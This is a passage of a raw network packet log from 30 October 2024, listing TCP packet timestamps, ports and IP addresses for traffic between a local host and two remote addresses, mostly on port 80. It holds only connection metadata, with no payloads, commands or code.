Oct 30, 2024 02:27:14.961427927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961489916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.961500883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.961513042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961529970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961541891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961555004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961566925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.961601019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.961757898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961781979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961795092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961805105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.961832047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.961898088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961910009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961946011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.962029934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962048054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962074995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.962105989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.962632895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962655067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962666035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962698936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.962726116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.962791920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962804079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962814093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.962838888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.962872982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.962927103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.963519096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.963536978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.963548899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.963571072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.963603020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.003734112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.003746033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.003796101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.003810883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.049978971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.049997091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050014019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050025940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050036907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.050043106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050055027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050064087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.050112963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.050407887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050420046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050441980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050457954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.050463915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.050493956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.080533028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.080581903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.080629110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.080677986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.081557989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.081634045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.081644058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.081653118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.081686020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.081723928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.168324947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.168335915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.168378115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169073105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169099092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169109106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169116974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169136047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169148922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169157982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169188023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169224977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169235945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169258118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169274092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169420958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169464111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169476986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169492960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169502974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169523001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169653893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169709921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.169728994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169739962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.169775963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.200654030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.200670958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.200683117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.200704098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.200707912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.200727940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.200761080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.244398117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.244410992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.244421959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.244484901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.244484901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288410902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288443089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288455009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288465977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288546085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288547039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288547993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288563967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288589001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288623095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288645029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288692951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288707018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288708925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288752079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288752079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.288779020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.288846016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.319911957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.319924116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.319935083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.320002079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.320002079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.363548994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.363564968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.363590956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.363604069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.363614082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.363614082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.363626957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.363650084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.363662958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.407546043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407574892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407591105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407615900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407629013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407636881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.407640934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407655001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407660007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.407680988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.407747984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407761097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407773018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.407773972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.407793045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.407921076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.438771963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.438882113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.438894033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.438915968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.438977957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.482853889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.482868910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.482880116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.482923031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.482934952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.482955933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.482955933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.482990980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.482990980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.526535988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.526546955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.526920080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678368092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678390980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678404093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678476095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678476095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678508997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678519964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678530931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678544044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678555012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678595066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678595066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678644896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678702116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678747892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678760052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678777933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678854942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678894043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678905964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678917885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678930044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.678940058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678985119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.678985119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.679035902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679608107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679688931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679714918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.679745913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679758072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679847002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679857969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679867029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.679939032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.679946899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.679960966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.680021048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.680021048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.680427074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.680449009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.680470943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.680603027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.765902996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.765916109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.765925884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.765938997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766028881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.766028881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.766082048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766093016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766103983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766117096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766128063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.766189098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.766926050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766978979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766990900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.766999006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.767102003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.797347069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.797357082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.797414064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.826627970 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:15.826656103 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:15.826812983 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:15.828418016 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:15.828433037 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:15.852319002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.852340937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.852400064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.884902000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.884957075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.885071993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885087967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885099888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885112047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885123968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885133028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.885174990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.885174990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.885211945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885224104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885234118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.885286093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.886006117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.886050940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.886061907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.886074066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.886116028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.964581966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.964611053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.964622974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:15.964663029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:15.964663029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.004487991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004539013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.004622936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004635096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004645109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004656076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004667044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004681110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004692078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.004703045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.004774094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.004791975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.004837990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.005275965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.005331993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.005343914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.005361080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.005409956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.005434990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.005517006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.083416939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.083520889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.083594084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.083605051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.083616018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.083635092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.083661079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.123100996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123127937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123142958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123147011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.123155117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123164892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.123203993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.123203993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.123248100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123290062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.123306990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123326063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123419046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123430967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.123445034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.123482943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.124150991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.124208927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.124219894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.124227047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.124310017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.124321938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.124336004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.124360085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.202514887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.202544928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.202554941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.202573061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.202579975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.202594042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.202645063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.242695093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.242707968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.242717981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.242754936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.242785931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.242786884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.242933035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.394429922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.394464016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.394490957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.394519091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.441849947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.441920996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.441932917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.441946030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.441989899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.441996098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442044020 CET	49730	80	192.168.2.4	185.215.113.206
